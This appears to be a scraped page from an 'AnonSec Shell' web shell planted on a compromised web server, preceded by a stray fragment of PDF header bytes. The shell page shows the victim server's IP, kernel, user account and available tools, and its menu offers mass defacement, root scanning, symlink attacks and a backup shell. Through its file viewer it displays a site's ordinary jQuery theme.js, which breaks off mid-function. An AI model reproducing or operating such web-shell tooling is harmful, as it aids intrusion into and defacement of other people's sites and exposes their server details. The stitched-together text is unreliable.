%PDF-1.4 %Óëéá 1 0 obj <> endobj 3 0 obj <> endobj 4 0 obj < AnonSec Shell
AnonSec Shell
Server IP : 212.252.79.165  /  Your IP : 216.73.216.24   [ Reverse IP ]
Web Server : Apache
System : Linux 212-252-79-165.cprapid.com 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
User : cehaburo ( 1001)
PHP Version : 8.1.33
Disable Function : exec,passthru,shell_exec,system
Domains : 48 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/cehaburo/public_html/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/cehaburo/public_html/js/theme.js
(function ($) {
  "use strict";

  $(document).ready(function () {
    $(".add-language").click(function () {
      var count = parseInt(document.getElementById("cr-lg-row-count").value);

      if (count < 5) {
        count = count + 1;
        document.getElementById("cr-lg-row-count").value = count;

        var url = "getdata/get_career_variable.php";
        $.ajax({
          type: "GET",
          url: url,
          dataType: "json",
          success: function (data) {
            $(".language").append(
              '<hr><div class="row mb-1"><div class="col-lg-3 col-md-3 col-sm-6 mb-3"><label>' +
                data.id83 +
                '</label><input type="text" class="form-control" name="cr-lg-row-' +
                count +
                '-language" id="cr-lg-row-' +
                count +
                '-language"></div><div class="col-lg-2 col-md-4 col-sm-6 mb-3"><label>' +
                data.id84 +
                '</label><input type="text" class="form-control" name="cr-lg-row-' +
                count +
                '-level" id="cr-lg-row-' +
                count +
                '-level"></div>'
            );
          },
          error: function (error) {
            console.log(eval(error));
          },
        });
      }

      $(".remove-language").css("display", "block");
    });

    $(".remove-language").click(function () {
      var count = parseInt(document.getElementById("cr-lg-row-count").value);

      if (count > 1) {
        var row = document.querySelectorAll(".language .row");
        row[row.length - 1].remove();
        var hr = document.querySelectorAll(".language hr");
        hr[hr.length - 1].remove();
        count = count - 1;
        document.getElementById("cr-lg-row-count").value = count;
      }
      if (count == 1) {
        $(".remove-language").css("display", "none");
      }
    });

    $(".add-work-experience").click(function () {
      var count = parseInt(document.getElementById("cr-wc-row-count").value);

      if (count < 5) {
        count = count + 1;
        document.getElementById("cr-wc-row-count").value = count;

        var url = "getdata/get_career_variable.php";
        $.ajax({
          type: "GET",
          url: url,
          dataType: "json",
          success: function (data) {
            $(".working-company").append(
              '<hr><div class="row mb-1"><div class="col-lg-2 col-md-4 col-sm-6 mb-3"><label>' +
                data.id16 +
                '</label><input type="text" class="form-control" name="cr-wc-row-' +
                count +
                '-name" id="cr-wc-row-' +
                count +
                '-name"></div><div class="col-lg-2 col-md-4 col-sm-6 mb-3"><label>' +
                data.id17 +
                '</label><input type="text" class="form-control" name="cr-wc-row-' +
                count +
                '-position" id="cr-wc-row-' +
                count +
                '-position"></div><div class="col-lg-2 col-md-4 col-sm-6 mb-3"><label>' +
                data.id18 +
                '</label><input type="text" class="form-control" name="cr-wc-row-' +
                count +
                '-sdate" id="cr-wc-row-' +
                count +
                '-sdate"></div><div class="col-lg-2 col-md-4 col-sm-6 mb-3"><label>' +
                data.id19 +
                '</label><input type="text" class="form-control" name="cr-wc-row-' +
                count +
                '-edate" id="cr-wc-row-' +
                count +
                '-edate"></div><div class="col-lg-2 col-md-4 col-sm-6 mb-3"><label>' +
                data.id20 +
                '</label><input type="text" class="form-control" name="cr-wc-row-' +
                count +
                '-price" id="cr-wc-row-' +
                count +
                '-price"></div><div class="col-lg-2 col-md-4 col-sm-6 mb-3"><label>' +
                data.id21 +
                '</label><input type="text" class="form-control" name="cr-wc-row-' +
                count +
                '-leaver" id="cr-wc-row-' +
                count +
                '-leaver"></div></div>'
            );
          },
          error: function (error) {
            console.log(eval(error));
          },
        });
      }

      $(".remove-work-experience").css("display", "block");
    });

    $(".remove-work-experience").click(function () {
      var count = parseInt(document.getElementById("cr-wc-row-count").value);
      //alert(count);
      if (count > 1) {
        var row = document.querySelectorAll(".working-company .row");
        row[row.length - 1].remove();
        var hr = document.querySelectorAll(".working-company hr");
        hr[hr.length - 1].remove();
        count = count - 1;
        document.getElementById("cr-wc-row-count").value = count;
      }
      if (count == 1) {
        $(".remove-work-experience").css("display", "none");
      }
    });

    $(".add-machine-experience").click(function () {
      var count = parseInt(document.getElementById("cr-wm-row-count").value);

      if (count < 5) {
        count = count + 1;
        document.getElementById("cr-wm-row-count").value = count;

        var url = "getdata/get_career_variable.php";
        $.ajax({
          type: "GET",
          url: url,
          dataType: "json",
          success: function (data) {
            $(".working-machine").append(
              '<hr><div class="row mb-1"><div class="col-lg-4 col-md-4 col-sm-6 mb-3"><label>' +
                data.id25 +
                '</label><input type="text" class="form-control" name="cr-wm-row-' +
                count +
                '-name" id="cr-wm-row-' +
                count +
                '-name"></div><div class="col-lg-2 col-md-2 col-sm-6 mb-3"><label>' +
                data.id26 +
                '</label><input type="text" class="form-control" name="cr-wm-row-' +
                count +
                '-model" id="cr-wm-row-' +
                count +
                '-model"></div><div class="col-lg-6 col-md-6 col-sm-12 mb-3"><label>' +
                data.id27 +
                '</label><input type="text" class="form-control" name="cr-wm-row-' +
                count +
                '-prop" id="cr-wm-row-' +
                count +
                '-prop"></div></div>'
            );
          },
          error: function (error) {
            console.log(eval(error));
          },
        });
      }

      $(".remove-machine-experience").css("display", "block");
    });

    $(".remove-machine-experience").click(function () {
      var count = parseInt(document.getElementById("cr-wm-row-count").value);
      //alert(count);
      if (count > 1) {
        var row = document.querySelectorAll(".working-machine .row");
        row[row.length - 1].remove();
        var hr = document.querySelectorAll(".working-machine hr");
        hr[hr.length - 1].remove();
        count = count - 1;
        document.getElementById("cr-wm-row-count").value = count;
      }
      if (count == 1) {
        $(".remove-machine-experience").css("display", "none");
      }
    });

    $(".add-course-experience").click(function () {
      var count = parseInt(document.getElementById("cr-ce-row-count").value);

      if (count < 5) {
        count = count + 1;
        document.getElementById("cr-ce-row-count").value = count;

        var url = "getdata/get_career_variable.php";
        $.ajax({
          type: "GET",
          url: url,
          dataType: "json",
          success: function (data) {
            $(".course-experience").append(
              '<hr><div class="row mb-1"><div class="col-lg-4 col-md-4 col-sm-6 mb-3"><label>' +
                data.id31 +
                '</label><input type="text" class="form-control" name="cr-ce-row-' +
                count +
                '-name" id="cr-ce-row-' +
                count +
                '-name"></div><div class="col-lg-3 col-md-3 col-sm-6 mb-3"><label>' +
                data.id32 +
                '</label><input type="text" class="form-control" name="cr-ce-row-' +
                count +
                '-subject" id="cr-ce-row-' +
                count +
                '-subject"></div><div class="col-lg-3 col-md-3 col-sm-6 mb-3"><label>' +
                data.id33 +
                '</label><input type="text" class="form-control" name="cr-ce-row-' +
                count +
                '-date" id="cr-ce-row-' +
                count +
                '-date"></div><div class="col-lg-2 col-md-2 col-sm-6 mb-3"><label>' +
                data.id34 +
                '</label><input type="text" class="form-control" name="cr-ce-row-' +
                count +
                '-time" id="cr-ce-row-' +
                count +
                '-time"></div></div>'
            );
          },
          error: function (error) {
            console.log(eval(error));
          },
        });
      }

      $(".remove-course-experience").css("display", "block");
    });

    $(".remove-course-experience").click(function () {
      var count = parseInt(document.getElementById("cr-ce-row-count").value);
      //alert(count);
      if (count > 1) {
        var row = document.querySelectorAll(".course-experience .row");
        row[row.length - 1].remove();
        var hr = document.querySelectorAll(".course-experience hr");
        hr[hr.length - 1].remove();
        count = count - 1;
        document.getElementById("cr-ce-row-count").value = count;
      }
      if (count == 1) {
        $(".remove-course-experience").css("display", "none");
      }
    });

    $(".add-reference").click(function () {
      var count = parseInt(document.getElementById("cr-ref-row-count").value);

      if (count < 5) {
        count = count + 1;
        document.getElementById("cr-ref-row-count").value = count;

        var url = "getdata/get_career_variable.php";
        $.ajax({
          type: "GET",
          url: url,
          dataType: "json",
          success: function (data) {
            $(".reference").append(
              '<hr><div class="row mb-1"><div class="col-lg-3 col-md-3 col-sm-6 mb-3"><label>' +
                data.id53 +
                '</label><input type="text" class="form-control" name="cr-ref-row-' +
                count +
                '-name" id="cr-ref-row-' +
                count +
                '-name"></div><div class="col-lg-3 col-md-3 col-sm-6 mb-3"><label>' +
                data.id54 +
                '</label><input type="text" class="form-control" name="cr-ref-row-' +
                count +
                '-job" id="cr-ref-row-' +
                count +
                '-job"></div><div class="col-lg-3 col-md-3 col-sm-6 mb-3"><label>' +
                data.id55 +
                '</label><input type="text" class="form-control" name="cr-ref-row-' +
                count +
                '-address" id="cr-ref-row-' +
                count +
                '-address"></div><div class="col-lg-3 col-md-3 col-sm-6 mb-3"><label>' +
                data.id79 +
                '</label><input type="text" class="form-control" name="cr-ref-row-' +
                count +
                '-phone" id="cr-ref-row-' +
                count +
                '-phone"></div></div>'
            );
          },
          error: function (error) {
            console.log(eval(error));
          },
        });
      }

      $(".remove-reference").css("display", "block");
    });

    $(".remove-reference").click(function () {
      var count = parseInt(document.getElementById("cr-ref-row-count").value);
      //alert(count);
      if (count > 1) {
        var row = document.querySelectorAll(".reference .row");
        row[row.length - 1].remove();
        var hr = document.querySelectorAll(".reference hr");
        hr[hr.length - 1].remove();
        count = count - 1;
        document.getElementById("cr-ref-row-count").value = count;
      }
      if (count == 1) {
        $(".remove-reference").css("display", "none");
      }
    });
  });

  var $body = $("body"),
    $window = $(window),
    $siteWrapper = $("#site-wrapper"),
    $document = $(document);
  var APP = {
    init: function () {
      this.narbarDropdownOnHover();
      this.activeSidebarMenu();
      this.reInitWhenTabShow();
      this.enablePopovers();
      this.initToast();
      this.scrollSpyLanding();
      this.scrollSpyProductImage();
      this.parallaxImag();
      this.slickCustomNav();
      this.imageMarker();
      this.dropdownMenuCanvas();
      this.canvasCart();
      this.showFormReview();
      this.activeSearch();
      this.productDropdownOnHover();
      this.activeMenuListing();
      this.openCouponBox();
    },
    isMobile: function () {
      return window.matchMedia("(max-width: 1199px)").matches;
    },
    narbarDropdownOnHover: function () {
      var $dropdown = $(".main-header .hover-menu .dropdown");
      if ($dropdown.length < 1) {
        return;
      }
      $dropdown.on("mouseenter", function () {
        if (APP.isMobile()) {
          return;
        }
        var $this = $(this);
        $this.addClass("show").find(" > .dropdown-menu").addClass("show");
      });
      $dropdown.on("mouseleave", function () {
        if (APP.isMobile()) {
          return;
        }
        var $this = $(this);
        $this.removeClass("show").find(" > .dropdown-menu").removeClass("show");
      });
    },
    productDropdownOnHover: function () {
      var $dropdown = $(".product-dropdown");
      if ($dropdown.length < 1) {
        return;
      }
      var $dropdown_toggle = $(".product-dropdown .dropdown-toggle");
      $dropdown_toggle.on("click", function (e) {
        e.preventDefault();
        location.href = $dropdown_toggle.attr("href");
      });
      $dropdown.on("mouseenter", function () {
        var $this = $(this);
        $this.addClass("show").find(" > .dropdown-menu").addClass("show");
      });
      $dropdown.on("mouseleave", function () {
        var $this = $(this);
        $this.removeClass("show").find(" > .dropdown-menu").removeClass("show");
      });
    },
    dropdownMenuCanvas: function () {
      $(".sidenav .dropdown-menu [data-toggle='dropdown']").on(
        "click",
        function (event) {
          event.preventDefault();
          event.stopPropagation();
          event.stopImmediatePropagation();
          var that = this;
          $(that).next().toggleClass("show");
          $(this)
            .parents("li.nav-item.dropdown.show")
            .on("hidden.bs.dropdown", function (e) {
              $(that).next().removeClass("show");
            });
        }
      );
    },
    activeSidebarMenu: function () {
      var $sidebar = $(".db-sidebar");
      if ($sidebar.length < 1) {
        return;
      }
      var $current_link = window.location.pathname;
      var $sidebarLink = $sidebar.find(".sidebar-link");
      $sidebarLink.each(function () {
        var href = $(this).attr("href");
        if ($current_link.indexOf(href) > -1) {
          var $sidebar_item = $(this).parent(".sidebar-item");
          $sidebar_item.addClass("active");
        }
      });
    },
    reInitWhenTabShow: function () {
      var $tabs = $('a[data-toggle="pill"],a[data-toggle="tab"]');
      $tabs.each(function () {
        var $this = $(this);
        $this.on("shown.bs.tab", function (e) {
          var href = $(this).attr("href");
          if (href !== "#") {
            var $slider = $(href).find(".slick-slider");
            $slider.slick("setPosition");
            $('[data-toggle="tooltip"]').tooltip("update");
            if ($(e.target).attr("href") !== undefined) {
              var $target = $($(e.target).attr("href"));
              APP.util.mfpEvent($target);
            }
          }
          APP.mapbox.init();
        });
      });
    },
    enablePopovers: function () {
      $('[data-toggle="popover"]').popover();
    },
    initToast: function () {
      $(".toast").toast();
    },
    scrollSpyLanding: function () {
      var $langding_menu = $("#landingMenu");
      if ($langding_menu.length < 1) {
        return;
      }
      $("body").scrollspy({
        target: "#landingMenu",
        offset: 200,
      });
      $langding_menu
        .find(".nav-link")
        .not('[href="#"]')
        .not('[href="#0"]')
        .click(function (event) {
          if (
            location.pathname.replace(/^\//, "") ===
              this.pathname.replace(/^\//, "") &&
            location.hostname === this.hostname
          ) {
            var target = $(this.hash);
            target = target.length
              ? target
              : $("[name=" + this.hash.slice(1) + "]");
            if (target.length) {
              event.preventDefault();
              $("html, body").animate(
                {
                  scrollTop: target.offset().top,
                },
                500,
                function () {}
              );
            }
          }
        });
    },
    scrollSpyProductImage: function () {
      var $image_dots = $("#list-dots");
      if ($image_dots.length < 1) {
        return;
      }
      $("body").scrollspy({
        target: "#list-dots",
        offset: 200,
      });
      var $scroll_images = $(".scrollspy-images");
      $window.on("scroll", function (e) {
        e.preventDefault();
        var is_end =
          $(this).scrollTop() + $(this).height() >
          $scroll_images.offset().top + $scroll_images.height() + 250;
        if (is_end) {
          $image_dots.addClass("hide");
        } else {
          $image_dots.removeClass("hide");
        }
      });
    },
    parallaxImag: function () {
      var image_wrapper = $(".parralax-images");
      image_wrapper.mousemove(function (e) {
        e.preventDefault();
        var wx = $(window).width();
        var wy = $(window).height();
        var x = e.pageX - this.offsetLeft;
        var y = e.pageY - this.offsetTop;
        var newx = x - wx / 2;
        var newy = y - wy / 2;
        $.each(image_wrapper.find(".layer"), function (index) {
          var speed = 0.01 + index / 100;
          TweenMax.to($(this), 1, {
            x: 1 - newx * speed,
            y: 1 - newy * speed,
          });
        });
      });
      image_wrapper.on("mouseleave", function (e) {
        e.preventDefault();
        $.each(image_wrapper.find(".layer"), function () {
          TweenMax.to($(this), 1, {
            x: 0,
            y: 0,
          });
        });
      });
    },
    slickCustomNav: function () {
      var $slickslider = $(".custom-nav");
      if ($slickslider.length < 1) {
        return;
      }
      $(".arrow").on("click", function (e) {
        e.preventDefault();
        if ($(this).hasClass("slick-prev")) {
          $slickslider.slick("slickPrev");
        }
        if ($(this).hasClass("slick-next")) {
          $slickslider.slick("slickNext");
        }
        $slickslider.on("afterChange", function (slick, currentSlide) {
          if (0 === currentSlide.currentSlide) {
            $("#previous").addClass("disabled");
          } else {
            $("#previous").removeClass("disabled");
          }
          if (
            currentSlide.slideCount - currentSlide.options.slidesToShow ===
            currentSlide.currentSlide
          ) {
            $("#next").addClass("disabled");
          } else {
            $("#next").removeClass("disabled");
          }
        });
      });
    },
    imageMarker: function () {
      $(".image-marker")
        .find('[data-toggle="tooltip"]')
        .each(function () {
          var configs = {
            container: $(this).parent(),
            html: true,
            placement: "top",
            offset: 20,
            delay: {
              show: 0,
              hide: 100,
            },
          };
          if ($(this).closest(".gtf__tooltip-wrap").length) {
            configs = $.extend(
              {},
              configs,
              $(this).closest(".gtf__tooltip-wrap").data("tooltip-options")
            );
          }
          $(this).tooltip(configs);
        });
    },
    canvasCart: function () {
      $(".down").on("click", function (e) {
        e.preventDefault();
        var $parent = $(this).parent(".input-group");
        var $input = $parent.find("input");
        var $value = parseInt($input.val());
        if ($value > 0) {
          $value -= 1;
          $input.val($value);
        }
      });
      $(".up").on("click", function (e) {
        e.preventDefault();
        var $parent = $(this).parent(".input-group");
        var $input = $parent.find("input");
        var $value = $input.val();
        if ($value !== "") {
          $value = parseInt($value);
          $value += 1;
          $input.val($value);
        } else {
          $input.val(1);
        }
      });
    },
    showFormReview: function () {
      $(".write-review").on("click", function (e) {
        e.preventDefault();
        $(".form-review").toggle(
          "slide",
          {
            direction: "up",
          },
          500
        );
      });
    },
    activeSearch: function () {
      var $input = $(".input-search-event");
      var $search_section = $(".section-search-active");
      var $form_search = $(".form-search");
      var $nav_search = $(".nav-search-event");
      var $menu = $(".nav-menu");
      $("body").on("click", function (e) {
        var target = $(e.target);
        if (
          target.closest(".nav-search-event").length > 0 &&
          target.closest(".input-search").length < 1 &&
          target.closest(".section-search-active a").length < 1
        ) {
          $form_search.addClass("show");
          $nav_search.addClass("hide");
        } else if (
          target.closest(".nav-search-event").length < 1 &&
          target.closest(".input-search").length < 1 &&
          target.closest(".section-search-active a").length < 1
        ) {
          $form_search.removeClass("show");
          $nav_search.removeClass("hide");
        }
        APP.headerSticky.sticky();
      });
      $input.on("focus", function (e) {
        e.preventDefault();
        $search_section.slideDown(200);
        $menu.slideUp(200);
        APP.headerSticky.sticky();
      });
      $input.on("focusout", function (e) {
        e.preventDefault();
        $search_section.slideUp(200);
        $menu.slideDown(200);
        APP.headerSticky.sticky();
      });
      $window.resize(function () {
        if (APP.isMobile()) {
          $search_section.slideUp(200);
          $menu.slideDown(200);
          APP.headerSticky.sticky();
        }
      });
    },
    activeMenuListing: function () {
      var $menu = $(".dropdown-menu-listing");
      if ($menu.length < 1) {
        return;
      }
      var $current_link = window.location.pathname;
      var $menuLink = $menu.find(".dropdown-link");
      $menuLink.each(function () {
        var href = $(this).attr("href");
        if ($current_link.indexOf(href) > -1) {
          var $menu_item = $(this).parent(".dropdown-item");
          $menu_item.addClass("active");
        }
      });
    },
    openCouponBox: function () {
      var $couponBox = $(".box-coupon");
      var $button = $(".enter-coupon");
      $button.on("click", function (e) {
        e.preventDefault();
        $couponBox.slideToggle("slow", function () {});
      });
    },
  };
  APP.slickSlider = {
    init: function ($wrap) {
      this.slickSetup($wrap);
    },
    slickSetup: function ($wrap) {
      var $slicks;
      if ($wrap !== undefined) {
        $slicks = $wrap;
      } else {
        $slicks = $(".slick-slider");
      }
      var options_default = {
        slidesToScroll: 1,
        slidesToShow: 1,
        adaptiveHeight: true,
        arrows: true,
        dots: true,
        autoplay: false,
        autoplaySpeed: 3000,
        centerMode: false,
        centerPadding: "50px",
        draggable: true,
        fade: false,
        focusOnSelect: false,
        infinite: false,
        pauseOnHover: false,
        responsive: [],
        rtl: false,
        speed: 300,
        vertical: false,
        prevArrow:
          '<div class="slick-prev" aria-label="Previous"><i class="far fa-arrow-left"></i></div>',
        nextArrow:
          '<div class="slick-next" aria-label="Next"><i class="far fa-arrow-right"></i></div>',
        customPaging: function (slider, i) {
          return $("<span></span>");
        },
      };
      $slicks.each(function () {
        var $this = $(this);
        if (!$this.hasClass("slick-initialized")) {
          var options = $this.data("slick-options");
          if ($this.hasClass("custom-slider-02")) {
            options.customPaging = function (slider, i) {
              var width = ((i + 1) / slider.slideCount) * 100;
              var $index = "";
              if (i < 9) {
                $index = "0" + (i + 1);
              } else {
                $index = i + 1;
              }
              var count = "";
              if (slider.slideCount < 9) {
                count = "0" + slider.slideCount;
              } else {
                count = slider.slideCount;
              }
              return (
                '<span class="dot">' +
                $index +
                "</span>" +
                '<span class="dot-divider"><span class="divider-value" style="width: ' +
                width +
                '%"></span></span><span class="dot">' +
                count +
                "</span>"
              );
            };
          }
          if ($this.hasClass("custom-slider-01")) {
            options_default.slidesToShow = 4;
            options_default.infinite = true;
            options_default.autoplay = true;
            options_default.dots = false;
            options_default.arrows = true;
            options_default.responsive = [
              { breakpoint: 1200, settings: { slidesToShow: 3 } },
              { breakpoint: 980, settings: { slidesToShow: 2 } },
              { breakpoint: 480, settings: { slidesToShow: 1 } },
            ];
          }
          if ($this.hasClass("custom-slider-03")) {
            options_default.slidesToShow = 6;
            options_default.infinite = true;
            options_default.autoplay = false;
            options_default.dots = false;
            options_default.arrows = true;
            options_default.responsive = [
              { breakpoint: 980, settings: { slidesToShow: 4 } },
              { breakpoint: 480, settings: { slidesToShow: 2 } },
            ];
          }

          options = $.extend({}, options_default, options);

          $this.slick(options);
          $this.on("setPosition", function (event, slick) {
            var max_height = 0;
            slick.$slides.each(function () {
              var $slide = $(this);
              if ($slide.hasClass("slick-active")) {
                if (
                  slick.options.adaptiveHeight &&
                  slick.options.slidesToShow > 1 &&
                  slick.options.vertical === false
                ) {
                  if (max_height < $slide.outerHeight()) {
                    max_height = $slide.outerHeight();
                  }
                }
              }
            });
            if (max_height !== 0) {
              $this.find("> .slick-list").animate(
                {
                  height: max_height,
                },
                500
              );
            }
          });
        }
      });
    },
  };
  APP.counter = {
    init: function () {
      if (typeof Waypoint !== "undefined") {
        $(".counterup").waypoint(
          function () {
            var start = $(this.element).data("start");
            var end = $(this.element).data("end");
            var decimals = $(this.element).data("decimals");
            var duration = $(this.element).data("duration");
            var separator = $(this.element).data("separator");
            var usegrouping = false;
            if (separator !== "") {
              usegrouping = true;
            }
            var decimal = $(this.element).data("decimal");
            var prefix = $(this.element).data("prefix");
            var suffix = $(this.element).data("suffix");
            var options = {
              useEasing: true,
              useGrouping: usegrouping,
              separator: separator,
              decimal: decimal,
              prefix: prefix,
              suffix: suffix,
            };
            var counterup = new CountUp(
              this.element,
              start,
              end,
              decimals,
              duration,
              options
            );
            counterup.start();
            this.destroy();
          },
          {
            triggerOnce: true,
            offset: "bottom-in-view",
          }
        );
      }
    },
  };
  APP.util = {
    init: function () {
      this.mfpEvent();
      this.backToTop();
      this.tooltip();
      this.goDown();
    },
    mfpEvent: function ($elWrap) {
      if ($elWrap === undefined) {
        $elWrap = $("body");
      }
      $elWrap.find("[data-gtf-mfp]").each(function () {
        var $this = $(this),
          defaults = {
            type: "image",
            closeOnBgClick: true,
            closeBtnInside: false,
            mainClass: "mfp-zoom-in",
            midClick: true,
            removalDelay: 300,
            callbacks: {
              beforeOpen: function () {
                switch (this.st.type) {
                  case "image":
                    this.st.image.markup = this.st.image.markup.replace(
                      "mfp-figure",
                      "mfp-figure mfp-with-anim"
                    );
                    break;
                  case "iframe":
                    this.st.iframe.markup = this.st.iframe.markup.replace(
                      "mfp-iframe-scaler",
                      "mfp-iframe-scaler mfp-with-anim"
                    );
                    break;
                }
              },
              beforeClose: function () {
                this.container.trigger("gtf_mfp_beforeClose");
              },
              close: function () {
                this.container.trigger("gtf_mfp_close");
              },
              change: function () {
                var _this = this;
                if (this.isOpen) {
                  this.wrap.removeClass("mfp-ready");
                  setTimeout(function () {
                    _this.wrap.addClass("mfp-ready");
                  }, 10);
                }
              },
            },
          },
          mfpConfig = $.extend({}, defaults, $this.data("mfp-options"));
        var galleryId = $this.data("gallery-id");
        if (typeof galleryId !== "undefined") {
          var items = [],
            items_src = [];
          var $imageLinks = $('[data-gallery-id="' + galleryId + '"]');
          $imageLinks.each(function () {
            var src = $(this).attr("href");
            if (items_src.indexOf(src) < 0) {
              items_src.push(src);
              items.push({
                src: src,
              });
            }
          });
          mfpConfig.items = items;
          mfpConfig.gallery = {
            enabled: true,
          };
          mfpConfig.callbacks.beforeOpen = function () {
            var index = $imageLinks.index(this.st.el);
            switch (this.st.type) {
              case "image":
                this.st.image.markup = this.st.image.markup.replace(
                  "mfp-figure",
                  "mfp-figure mfp-with-anim"
                );
                break;
              case "iframe":
                this.st.iframe.markup = this.st.iframe.markup.replace(
                  "mfp-iframe-scaler",
                  "mfp-iframe-scaler mfp-with-anim"
                );
                break;
            }
            if (-1 !== index) {
              this.goTo(index);
            }
          };
        }
        $this.magnificPopup(mfpConfig);
      });
    },
    tooltip: function ($elWrap) {
      if ($elWrap === undefined) {
        $elWrap = $("body");
      }
      $elWrap.find('[data-toggle="tooltip"]').each(function () {
        var configs = {
          container: $(this).parent(),
        };
        if ($(this).closest(".gtf__tooltip-wrap").length) {
          configs = $.extend(
            {},
            configs,
            $(this).closest(".gtf__tooltip-wrap").data("tooltip-options")
          );
        }
        $(this).tooltip(configs);
      });
    },
    backToTop: function () {
      var $backToTop = $(".gtf-back-to-top");
      if ($backToTop.length > 0) {
        $backToTop.on("click", function (event) {
          event.preventDefault();
          $("html,body").animate(
            {
              scrollTop: "0px",
            },
            800
          );
        });
        $window.on("scroll", function (event) {
          var scrollPosition = $window.scrollTop(),
            windowHeight = $window.height() / 2;
          if (scrollPosition > windowHeight) {
            $backToTop.addClass("in");
          } else {
            $backToTop.removeClass("in");
          }
        });
      }
    },
    goDown: function () {
      var $goDown = $(".go-down");
      if ($goDown.length > 0) {
        $goDown.on("click", function (event) {
          event.preventDefault();
          $("html, body").animate(
            {
              scrollTop: $("#section-next").offset().top,
            },
            1000,
            function () {}
          );
        });
      }
    },
  };
  APP.CollapseTabsAccordion = {
    init: function () {
      this.CollapseSetUp();
    },
    CollapseSetUp: function () {
      var $tabs = $(".collapse-tabs");
      $tabs
        .find(".tab-pane.active .collapse-parent")
        .attr("data-toggle", "false");
      $tabs.find(".nav-link").on("show.bs.tab", function (e) {
        if (!$(this).hasClass("nested-nav-link")) {
          var $this_tab = $(this).parents(".collapse-tabs");
          var $tabpane = $($(this).attr("href"));
          $this_tab.find(".collapsible").removeClass("show");
          $this_tab.find("collapse-parent").addClass("collapsed");
          $this_tab.find("collapse-parent").attr("data-toggle", "collapse");
          $tabpane.find(".collapse-parent").removeClass("collapsed");
          $tabpane.find(".collapse-parent").attr("data-toggle", "false");
          $tabpane.find(".collapsible").addClass("show");
        }
      });
      $tabs.find(".collapsible").on("show.bs.collapse", function () {
        var $this_tab = $(this).parents(".collapse-tabs"),
          $parent = $(this).parents(".tab-pane.tab-pane-parent"),
          $id = $parent.attr("id"),
          $navItem = $this_tab.find(".nav-link"),
          $navItemClass = "active";
        $this_tab.find(".collapse-parent").attr("data-toggle", "collapse");
        $parent.find(".collapse-parent").attr("data-toggle", "false");
        var $tab_pane = $this_tab.find(".tab-pane");
        if (!$tab_pane.hasClass("nested-tab-pane")) {
          $this_tab.find(".tab-pane").removeClass("show active");
        }
        $parent.addClass("show active");
        var $nav_link = $parent.parents(".collapse-tabs").find(".nav-link");
        if (!$nav_link.hasClass("nested-nav-link")) {
          $nav_link.removeClass("active");
        }
        $navItem.each(function () {
          if (!$(this).hasClass("nested-nav-link")) {
            $(this).removeClass("active");
            if ($(this).attr("href") === "#" + $id) {
              $(this).addClass($navItemClass);
            }
          }
        });
      });
    },
  };
  APP.animation = {
    delay: 100,
    itemQueue: [],
    queueTimer: null,
    $wrapper: null,
    init: function () {
      var _self = this;
      _self.$wrapper = $body;
      _self.itemQueue = [];
      _self.queueTimer = null;
      if (typeof delay !== "undefined") {
        _self.delay = delay;
      }
      _self.itemQueue["animated_0"] = [];
      $body
        .find("#content")
        .find(">div,>section")
        .each(function (index) {
          $(this).attr("data-animated-id", index + 1);
          _self.itemQueue["animated_" + (index + 1)] = [];
        });
      setTimeout(function () {
        _self.registerAnimation();
      }, 200);
    },
    registerAnimation: function () {
      var _self = this;
      $("[data-animate]:not(.animated)", _self.$wrapper).waypoint(
        function () {
          var _el = this.element ? this.element : this,
            $this = $(_el);
          if ($this.is(":visible")) {
            var $animated_wrap = $this.closest("[data-animated-id]"),
              animated_id = "0";
            if ($animated_wrap.length) {
              animated_id = $animated_wrap.data("animated-id");
            }
            _self.itemQueue["animated_" + animated_id].push(_el);
            _self.processItemQueue();
          } else {
            $this.addClass($this.data("animate")).addClass("animated");
          }
        },
        {
          offset: "90%",
          triggerOnce: true,
        }
      );
    },
    processItemQueue: function () {
      var _self = this;
      if (_self.queueTimer) return;
      _self.queueTimer = window.setInterval(function () {
        var has_queue = false;
        for (var animated_id in _self.itemQueue) {
          if (_self.itemQueue[animated_id].length) {
            has_queue = true;
            break;
          }
        }
        if (has_queue) {
          for (var animated_id in _self.itemQueue) {
            var $item = $(_self.itemQueue[animated_id].shift());
            $item.addClass($item.data("animate")).addClass("animated");
          }
          _self.processItemQueue();
        } else {
          window.clearInterval(_self.queueTimer);
          _self.queueTimer = null;
        }
      }, _self.delay);
    },
  };
  APP.headerSticky = {
    scroll_offset_before: 0,
    init: function () {
      this.sticky();
      this.scroll();
      this.resize();
      this.processSticky();
      this.footerBottom();
    },
    sticky: function () {
      $(".header-sticky .sticky-area").each(function () {
        var $this = $(this);
        if (!$this.is(":visible")) {
          return;
        }
        if (!$this.parent().hasClass("sticky-area-wrap")) {
          $this.wrap('<div class="sticky-area-wrap"></div>');
        }
        var $wrap = $this.parent();
        var $nav_dashbard = $(".dashboard-nav");
        $wrap.height($this.outerHeight());
        if (window.matchMedia("(max-width: 1199px)").matches) {
          $nav_dashbard.addClass("header-sticky-smart");
        } else {
          $nav_dashbard.removeClass("header-sticky-smart");
        }
      });
    },
    resize: function () {
      $window.resize(function () {
        APP.headerSticky.sticky();
        APP.headerSticky.processSticky();
        APP.headerSticky.footerBottom();
      });
    },
    scroll: function () {
      $window.on("scroll", function () {
        APP.headerSticky.processSticky();
      });
    },
    processSticky: function () {
      var current_scroll_top = $window.scrollTop();
      var $parent = $(".main-header");
      var is_dark = false;
      if (
        $parent.hasClass("navbar-dark") &&
        !$parent.hasClass("bg-secondary")
      ) {
        is_dark = true;
      }
      $(".header-sticky .sticky-area").each(function () {
        var $this = $(this);
        if (!$this.is(":visible")) {
          return;
        }
        var $wrap = $this.parent(),
          sticky_top = 0,
          sticky_current_top = $wrap.offset().top,
          borderWidth = $body.css("border-width");
        if (borderWidth !== "") {
          sticky_top += parseInt(borderWidth);
        }
        if (sticky_current_top - sticky_top < current_scroll_top) {
          $this.css("position", "fixed");
          $this.css("top", sticky_top + "px");
          $wrap.addClass("sticky");
          if (is_dark) {
            $parent.removeClass("navbar-dark");
            $parent.addClass("navbar-light");
            $parent.addClass("navbar-light-sticky");
          }
        } else {
          if ($parent.hasClass("navbar-light-sticky")) {
            $parent.addClass("navbar-dark");
            $parent.removeClass("navbar-light");
            $parent.removeClass("navbar-light-sticky");
          }
